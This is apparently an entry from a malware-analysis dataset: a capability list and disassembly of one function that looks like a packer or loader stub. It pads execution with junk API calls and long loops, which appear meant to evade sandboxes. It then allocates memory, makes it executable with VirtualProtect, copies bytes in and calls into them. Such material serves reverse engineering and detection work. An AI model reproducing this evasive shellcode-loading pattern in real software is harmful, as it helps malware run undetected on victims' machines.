Function at 0x4044a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x441e78
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x4044e6
inc esi
cmp esi, 0x67d12
jl 0x4044cf
cmp dword [0x5ea658], 0x93
jne 0x4045cb
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateDCA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0x403e2c
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
call fcn.004058f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x34]
call fcn.00404970
push ebx
mov dword [ebp - 4], ebx
call fcn.00405214
add esp, 4
push ebx
push ebx
call fcn.00405bc3
push ebx
call fcn.00405a78
add esp, 0xc
push ebx
call fcn.00405aa7
add esp, 4
push ebx
push ebx
call fcn.00405d61
push ebx
push ebx
call fcn.00405ab2
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0x10
jb 0x4045cb
mov eax, dword [ebp - 0x34]
push eax
call fcn.00405ccf
add esp, 4
mov ecx, dword [0x446cbc]
add dword [0x5ea658], 0x1134b
push 0x403e3c
mov dword [0x5ea65c], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x5ea658]
push edx
push 0
mov dword [0x5e9814], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5ea658]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e92ac], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov esi, 0x1692e
lea ebx, [ebx]
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x838]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x404630
cmp dword [0x5ea658], esi
jbe 0x4046be
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, dword [0x5ea65c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x5e92ac]
mov byte [eax + esi], dl
cmp dword [0x5ea658], 0x490
jne 0x4046b5
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5ea658]
jb 0x404662
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov edx, dword [0x5ea658]
add edx, esi
cmp edx, 0x8d
jne 0x404714
push 0
lea eax, [ebp - 0x838]
push eax
push 0
push 0x403e4c
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x4046cc
call fcn.00404220
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404744
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x81f2
mov ecx, dword [ebp - 0x10]
add dword [0x5e92ac], ecx
inc esi
cmp esi, 0x674bd
jl 0x404726
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
jmp 0x404770
cmp dword [0x5ea658], 0x86
jne 0x4047af
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5ea658], 0xf
jne 0x4047c6
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 0x10]
jne 0x404770
push 0x403e54
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e92ac]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret